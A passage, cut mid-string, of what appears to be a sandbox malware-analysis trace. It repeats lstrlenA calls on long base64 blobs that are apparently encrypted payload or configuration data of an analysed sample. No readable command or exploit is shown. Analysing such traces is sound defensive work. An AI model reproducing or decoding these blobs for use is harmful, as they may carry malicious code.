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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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